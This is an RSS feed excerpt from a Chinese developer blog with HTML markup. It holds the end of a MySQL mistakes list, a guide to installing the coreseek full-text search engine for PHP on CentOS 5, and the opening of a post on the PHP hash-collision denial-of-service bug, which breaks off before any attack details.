style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">10、忘记备份！</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">虽然比较罕见，但是数据库还是有崩溃的危险。硬盘有可能损坏，服务器有可能崩溃，web主机提供商有可能会破产！丢失MySQL数据将会是灾难性的，所以请确保你已经使用了自动备份或者已经复制到位。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">11、Bonus mistake-不考虑使用其他数据库</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">对于PHP</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">开发</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">人员来说，MySQL可能是使用最广泛的数据库系统，但并不是唯一的选择。PostgreSQL和Firebird是最强有力的竞争者：这个两者都是开源的，而且都没有被公司收购。</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">微软</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">提供了sql server Express，甲骨文提供了10g Express，这两者都是企业级数据库的免费版本。有时候，对于一个较小的web应用或者</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">嵌入式</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">应用，SQLite也不失为一个可行的替代方案。</span>&nbsp;<img src ="http://www.blogjava.net/xiaomage234/aggbug/372425.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-03-22 10:03 <a href="http://www.blogjava.net/xiaomage234/archive/2012/03/22/372425.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在centos5下为PHP安装coreseek全文检索引擎支持 【转】</title><link>http://www.blogjava.net/xiaomage234/archive/2012/03/16/372016.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Fri, 16 Mar 2012 02:29:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/03/16/372016.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/372016.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/03/16/372016.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/372016.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/372016.html</trackback:ping><description><![CDATA[<div><p><span style="font-size: 10pt;">coreseek</span> <span style="font-size: 10pt;">是在Sphinx 基础上开发的全文检索软件, 具 体介绍详见<a>文尾</a> <span><a href="http://hi.baidu.com/#_Hlk237146299"><strong><span><span>附 录</span> </span> </strong> </a>  </span> </span> </p> <p><span>=========================================================  </span> </p> <p><strong><span style="font-size: 15pt;">一、<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> </strong> <strong><span style="font-size: 15pt;">安装环境及介绍</span> </strong> </p> <p><strong><span style="font-size: 10pt;">1.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> </strong> <strong><span style="font-size: 10pt;">前提环境</span> </strong> </p> <p><span style="font-size: 10pt;">系 统环境：centos5 </span> </p> <p><span style="font-size: 10pt;">操 作用户：root </span> </p> <p><span style="font-size: 10pt;">文 中<span style="color: #993300;">粗体字为需用户输入的命令内容</span> </span> </p> <p>&nbsp; </p> <p><span style="font-size: 10pt;">2.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> <strong><span style="font-size: 10pt;">源码包准备</span> </strong>   </p> <p><span style="font-size: 10pt;">下 载MMSEG 分词源码包&nbsp; </span> </p> <p><span style="font-size: 10pt; color: #993300;">wget&nbsp;</span> <span style="font-size: 10pt; color: blue;">http://www.coreseek.cn/uploads/sources/mmseg3_0b3.tar.gz</span> </p> <p><span style="font-size: 10pt;">下 载coreseek 源码包&nbsp; </span> </p> <p><span style="font-size: 10pt; color: #993300;">wget&nbsp;</span> <span style="font-size: 10pt; color: blue;">http://www.coreseek.cn/uploads/sources/csft3_0b4.tar.gz</span>   </p> <p><span style="font-size: 10pt;">解 压缩源码包  </span> </p> <p><span style="font-size: 10pt; color: #993300;">tar -xzvf  mmseg3_0b3.tar.gz </span> </p> <p><span style="font-size: 10pt; color: #993300;">tar -xzvf  csft3_0b4.tar.gz</span>   </p> <p>&nbsp; </p> <p>&nbsp; </p> <p><strong><span style="font-size: 10pt;">3.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> </strong> <strong><span style="font-size: 10pt;">安装环境准备</span> </strong> </p> <p><span style="font-size: 10pt;">安 装g++ 编译环境</span> </p> <p><span style="font-size: 10pt; color: #993300;">yum</span> <span style="font-size: 10pt; color: #993300;">  install g++</span> </p> <p><span style="font-size: 10pt; color: #993300;">yum</span> <span style="font-size: 10pt; color: #993300;">  install gcc</span> </p> <p><span style="font-size: 10pt; color: #993300;">yum install  make</span> </p> <p>&nbsp; </p> <p><span style="font-size: 10pt;">安 装python 开发组件</span> </p> <p><span style="font-size: 10pt; color: #993300;">yum</span> <span style="font-size: 10pt; color: #993300;">  install python</span> </p> <p><span style="font-size: 10pt; color: #993300;">yum</span> <span style="font-size: 10pt; color: #993300;">  install python-dev</span> </p> <p>&nbsp; </p> <p>&nbsp; </p> <p>&nbsp; </p> <p><span style="font-size: 10pt;">安 装make </span> </p> <p><span style="font-size: 10pt; color: #993300;">yum</span> <span style="font-size: 10pt; color: #993300;">  install make</span> </p> <p>&nbsp; </p> <p><strong><span style="font-size: 10pt;">4.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> </strong> <strong><span style="font-size: 10pt;">编译mmseg </span> </strong> </p> <p><span style="font-size: 10pt; color: #993300;">cd  mmseg.3.0b3/</span> </p> <p><span style="font-size: 10pt; color: #993300;">./configure  --prefix=/</span> <span style="font-size: 10pt; color: #993300;">var</span> <span style="font-size: 10pt; color: #993300;">/</span> <span style="font-size: 10pt; color: #993300;">eyou</span> <span style="font-size: 10pt; color: #993300;">/mmseg</span> </p> <p><span style="font-size: 10pt; color: #993300;">make</span> </p> <p><span style="font-size: 10pt; color: #993300;">make  install</span> </p> <p>&nbsp; </p> <p><strong><span style="font-size: 10pt; color: black;">5.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> </strong> <strong><span style="font-size: 10pt; color: black;">编译coreseek </span> </strong> </p> <p><span style="font-size: 10pt; color: #993300;">cd  csft3_0b4/</span> </p> <p><span style="font-size: 10pt; color: #993300;">./configure  --prefix=/</span> <span style="font-size: 10pt; color: #993300;">var</span> <span style="font-size: 10pt; color: #993300;">/</span> <span style="font-size: 10pt; color: #993300;">eyou</span> <span style="font-size: 10pt; color: #993300;">/coreseek   --with-python --with-mysql --with-mmseg-includes=/</span> <span style="font-size: 10pt; color: #993300;">var</span> <span style="font-size: 10pt; color: #993300;">/</span> <span style="font-size: 10pt; color: #993300;">eyou</span> <span style="font-size: 10pt; color: #993300;">/mmseg/include/mmseg   --with-mmseg-libs=/</span> <span style="font-size: 10pt; color: #993300;">var</span> <span style="font-size: 10pt; color: #993300;">/</span> <span style="font-size: 10pt; color: #993300;">eyou</span> <span style="font-size: 10pt; color: #993300;">/mmseg/lib/</span> </p> <p><span style="font-size: 10pt; color: #993300;">make &amp; make  install</span> </p> <p>&nbsp; </p> <p>&nbsp; </p> <p><span style="font-size: 10pt; color: black;">此步安装完成后, 将在/ </span> <span style="font-size: 10pt; color: black;">var</span> <span style="font-size: 10pt; color: black;">/</span> <span style="font-size: 10pt; color: black;">eyou</span> <span style="font-size: 10pt; color: black;">/</span> <span style="font-size: 10pt; color: black;">下生成  coreseek  目录</span> </p> <p><span style="font-size: 10pt;">coreseek</span> <span style="font-size: 10pt;">目录中有三个目录分别为bin 、  etc  、var </span> </p> <p style=" text-indent: 21pt;"><span style="font-size: 10pt;">bin</span> <span style="font-size: 10pt;">中 存有<strong><span style="color: black;">sphinx</span> </strong> 用到的一些执行文件 包括<span>  indexer  </span> 索引建立 search  查询工具 searchd   查询服务器 等</span> </p> <p style="text-indent: 21pt;"><span style="font-size: 10pt;">etc</span> <span style="font-size: 10pt;">中是配置文 件，该目录中</span> <span style="font-size: 9pt;">有一个sphinx.conf. </span> <span style="font-size: 9pt;">disk</span> <span style="font-size: 9pt;">，这个相当于sphinx 的 配置例子文件，我们以这个文件为蓝本，重新创建一个空白内容的sphinx.conf ，存放在</span> <span style="font-size: 9pt;">etc</span> <span style="font-size: 9pt;">下</span> <span style="font-size: 9pt;">。  </span> </p> <p style=" text-indent: 21pt;">&nbsp; </p> <p>&nbsp; </p> <p><strong><span style="font-size: 10pt;">6.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> </strong> <strong><span style="font-size: 10pt;">创建dict 目录</span> </strong> </p> <p><span style="font-size: 10pt;">创建字典目录：</span> </p> <p><strong><span style="font-size: 10pt; color: #993300;">mkdir   /var/eyou/coreseek/dict/</span> </strong> </p> <p><span style="font-size: 10pt;">产生字典步骤：</span> </p> <p><strong><span style="font-size: 10pt; color: #993300;">cd</span> </strong> <strong>  </strong> <strong><span style="font-size: 10pt; color: #993300;">/root/soft/   mmseg.3.0b3/data</span> </strong> </p> <p><strong><span style="font-size: 10pt; color: #993300;">/var/eyou/mmseg/bin/mmseg  -u  unigram.txt</span> </strong> </p> <p><span style="font-size: 10pt;">产生了unigram.txt.uni ， 移到相应目录。</span> </p> <p><strong><span style="font-size: 10pt; color: #993300;">cp   unigram.txt.uni /var/eyou/coreseek/dict/uni.lib</span> </strong> </p> <p><span style="font-size: 10pt;">创建<span>   /</span> </span> <span style="font-size: 10pt;">var</span> <span style="font-size: 10pt;">/</span> <span style="font-size: 10pt;">eyou</span> <span style="font-size: 10pt;">/coreseek/dict/mmseg.ini </span> </p> <p><span style="font-size: 10pt;">内容：</span> </p> <p><span style="font-size: 10pt;">[mmseg]</span> </p> <p><span style="font-size: 10pt;">merge_number_and_ascii=1;</span> </p> <p><span style="font-size: 10pt;">number_and_ascii_joint=-;</span> </p> <p><span style="font-size: 10pt;">compress_space=0;</span> </p> <p><span style="font-size: 10pt;">seperate_number_ascii=1;</span> </p> <p><span style="font-size: 10pt;">#merge_number_and_ascii:  </span> <span style="font-size: 10pt;">字母和数字连续出现是非切分</span> </p> <p><span style="font-size: 10pt;">#number_and_ascii_joint:</span> <span style="font-size: 10pt;">连接数字和字母可用的符号，如'-' '.'  等</span> </p> <p><span style="font-size: 10pt;">#compress_space</span> <span style="font-size: 10pt;">：暂时无效</span> </p> <p><span style="font-size: 10pt;">#seperate_number_ascii</span> <span style="font-size: 10pt;">：是否拆分数字，如 1988 -&gt; 1/x 9/x 8/x 8/x   </span> </p> <p>&nbsp; </p> <p><strong><span style="font-size: 10pt;">7.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> </strong> <strong><span style="font-size: 10pt;">php</span> </strong> <strong><span style="font-size: 10pt;">调用</span> </strong> <strong><span style="font-size: 10pt;">sphinx api</span> </strong> </p> <p>&nbsp; </p> <p>&nbsp; <span style="font-size: 9pt;">通过官方API 调用Sphinx ，具体为：</span> </p> <p style="text-indent: 21pt;"><span style="font-size: 9pt;">在</span> <span style="font-size: 9pt;">coreseek</span> <span style="font-size: 9pt;">安装目录有一个API 目录，里面有三个PHP 文 件：test.php ，test2.php 和sphinxapi.php 。<span>  sphinxapi.php</span> 是sphinx 调用接口封装文件（这个文件就是官方提供的php 调 用API ），test.php 是一个在命令行下执行的查询例子文件，test2.php 是 一个生成摘要的 例子文件。 </span> </p> <p style="text-indent: 21pt;">&nbsp; </p> <p><strong><span style="font-size: 10pt;">8.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> </strong> <strong><span style="font-size: 10pt;">配置</span> </strong> <strong><span style="font-size: 10pt;">sphinx.conf</span> </strong> </p> <p><span style="font-size: 9pt;"><span>&nbsp;&nbsp;&nbsp;&nbsp;  </span> </span> <span style="font-size: 9pt;">具体参见sphinx.conf   的 注释说明</span> </p> <p><strong><span style="font-size: 10pt;">9.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> </strong> <strong><span style="font-size: 10pt;">启动服务</span> </strong> </p> <p><strong>&nbsp; </strong> </p> <p><span style="font-size: 10pt;">建 立索引</span> </p> <p><strong><span style="font-size: 10pt; color: #993300;">/var/eyou/coreseek/bin/indexer&nbsp; --config&nbsp; /var/eyou/coreseek/etc/sphinx.conf</span> </strong> </p> <p><span style="font-size: 10pt;">启 动 searchd   服务</span> </p> <p><strong><span style="font-size: 10pt; color: #993300;">/var/eyou/coreseek/bin/searchd   --config /var/eyou/coreseek/etc/sphinx.conf</span> </strong> </p> <p>&nbsp; </p> <p>&nbsp; </p> <p><strong>&nbsp; </strong> </p> <p><a><strong><span style="font-size: 15pt;">二、<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> </strong> <strong><span style="font-size: 15pt;">附录</span> </strong> </a> <strong><span style="font-size: 15pt;">：全文检索----coreseek </span> </strong> </p> <p>&nbsp; </p> <p>&nbsp; </p> <p><strong><span style="font-size: 10pt; color: black;"><span>1.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;   </span> </span> </span> </strong> <strong><span style="font-size: 10pt; color: black;">全文搜索与数据库搜索的区别  </span> </strong> </p> <p style="margin-left: 0cm; vertical-align: middle;"><span style="font-size: 10pt;">o<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> <span style="font-size: 10pt;">专为全文搜索优化，效率更高  <br /> 由于典型的数据库系统要考虑用户的&#8220;增删改查&#8221;等多种复杂操作，因此其存取数据的方式需要考察综合考虑各种应用；而全文搜索的数据存取方式 只考虑快速读取，相比数据库的查询，要快10 倍或更多。（即使启用了数据库内置的全文搜索功能，这个结论仍成立）。</span> </p> <p style="margin-left: 0cm; vertical-align: middle;"><span style="font-size: 10pt;">o<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> <span style="font-size: 10pt;">支持复杂的查询表达式 <br /> 数据库系统的查询，往往只支持&#8220;AND &#8221; 或 "OR"   等有限的模式，而全文检 索不但支持"AND" 、&#8220;OR &#8221; 查询，还支持&#8220;NOT &#8221;、&#8220;近似&#8221;、 &#8220;整句&#8221;等多种查询方式；同时相比数据库系统，进行在一定范围内查询时也更高效</span> </p> <p style="margin-left: 0cm; vertical-align: middle;"><span style="font-size: 10pt;">o<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> <span style="font-size: 10pt;">支持按相关度排序 <br /> 数据库查询出的结果，往往按照数据库内置的排序规则进行排序，往往只能按时间、按点击等有效的排序规则进行；全文搜索除了能够支持数据库的 排序规则外，还支持按照结果的相关度排序，这往往会给访问者带来更大的便利。</span> </p> <p style="margin-left: 0cm; vertical-align: middle;"><span style="font-size: 10pt;">o<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> <span style="font-size: 10pt;">支持中文分词 <br /> 数据库提供的全文搜索功能往往不支持中文分词（或仅提供二元切分），导致某些短语检索不到或出现大量不相干的数据；中文全文检索系统支持中 文分词，进一步过滤了不相干的数据。</span> </p> <p><strong><span style="font-size: 10pt; color: black;"><span>2.<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;   </span> </span> </span> </strong> <strong><span style="font-size: 10pt; color: black;">自建全文搜索与使用Google 等第三方网站提供的站内全文搜索的区别</span> </strong> </p> <p style="margin-left: 0cm; vertical-align: middle;"><span style="font-size: 10pt;">o<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> <span style="font-size: 10pt;">对网站设备有要求 <br /> 自建全文搜索往往需要站长有至少一台独立主机，而使用第三方提供的全文搜索对站点的要求低，虚拟主机即可；不过，出现全文搜索需求的站点通 常已经有自己的独立主机了。  </span> </p> <p style="margin-left: 0cm; vertical-align: middle;"><span style="font-size: 10pt;">o<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> <span style="font-size: 10pt;">索引更新更及时 <br /> 由于搜索服务在第三方托管，其往往只能按照一定的规则定期更新索引库（往往是几小时、甚至几天才更新一次索引），您网站上的新出现的内容往 往不能及时被搜索到；<br /> 使用自建全文搜索，可以保证您网站上新出现的内容可以&#8221;立即&#8220;被检索到。  </span> </p> <p style="margin-left: 0cm; vertical-align: middle;"><span style="font-size: 10pt;">o<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> <span style="font-size: 10pt;">更适应您的网站 <br /> 由于中文需要进行分词的特性，导致没有一套通用的词库可以适用于全部网站，要得到优秀的检索结果需要定制一套适用于您网站的词库；<br /> 采用第三方的搜索服务，您是无法修改第三方厂商的词库的，而使用自建全文搜索则无此问题。  </span> </p> <p style="margin-left: 0cm; vertical-align: middle;"><span style="font-size: 10pt;">o<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> <span style="font-size: 10pt;">更有利于您网站的数据整合 <br /> 有些网站不止是论坛，往往还包括内容管理(CMS) 、商城等多种应用，而使用数据库搜索往往需要用户在各个系统 中都进行搜索才能找到内容；<br /> 第三方的检索无法区别各个系统的不同。而自建的全文搜索可以有效的区分各个数据来源的不同数据，真正做到一次搜索应有尽有，从而改善您网站 的访问体验，增加您网站的点击率。  </span> </p> <span style="font-size: 10pt;">o<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   </span> </span> <span style="font-size: 10pt;">避免您的访问者遇到某些尴尬  <br /> 第三方的搜索结果页面不是您可以控制修改的，有推荐一些可能会使您网站访问者尴尬的搜索短语的可能。而使用自建全文搜索则完全无此问题。</span></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/372016.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-03-16 10:29 <a href="http://www.blogjava.net/xiaomage234/archive/2012/03/16/372016.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP Hash冲突，造成CPU 100%,完全解决方案 </title><link>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370869.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Mon, 27 Feb 2012 11:18:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370869.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/370869.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370869.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/370869.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/370869.html</trackback:ping><description><![CDATA[<div><span style="color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; display: inline !important; float: none; ">今天抽空研究了一个前不久，出的一个BUG，PHP 5.2/5.3 Hash漏洞,造成一台机器就可以DDOS攻击互联网上的PHP网站。</span><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-align: left; ">我们先看下环境，这个网站是LAMP架构，PHP版本是5.2.17。</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012059810.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012059810.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 558px; height: 263px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-align: left; ">PHP未打补丁前，服务器CPU情况，目前是2.1%的使用率。</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-align: left; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012100844.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012100844.jpg" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; width: 558px; height: 86px; " border="0" /></a></p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; ">&nbsp;&nbsp;&nbsp; 我们在这台web服务器上编写一个PHP程序，目的是要测试机去Hash它，以便故障重现。<br />程序语言如下：<br />&lt;?php<br />echo $showtime=date("Y-m-d H:i:s");<br />?&gt;<br />执行后的效果是取当前服务器的时间。</p><p style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; border-right-width: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: #333333; font-family: 宋体; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 28px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #ffffff; "><a href="http://www.2cto.com/uploadfile/2012/0113/20120113012100145.jpg" target="_blank" style="color: #333333; text-decoration: none; font-size: 14px; "><img alt="\" src="http://www.2cto.com/uploadfile/2012/0113/20120113012100145.jpg" style="border-top-width: 0px; padding-right: 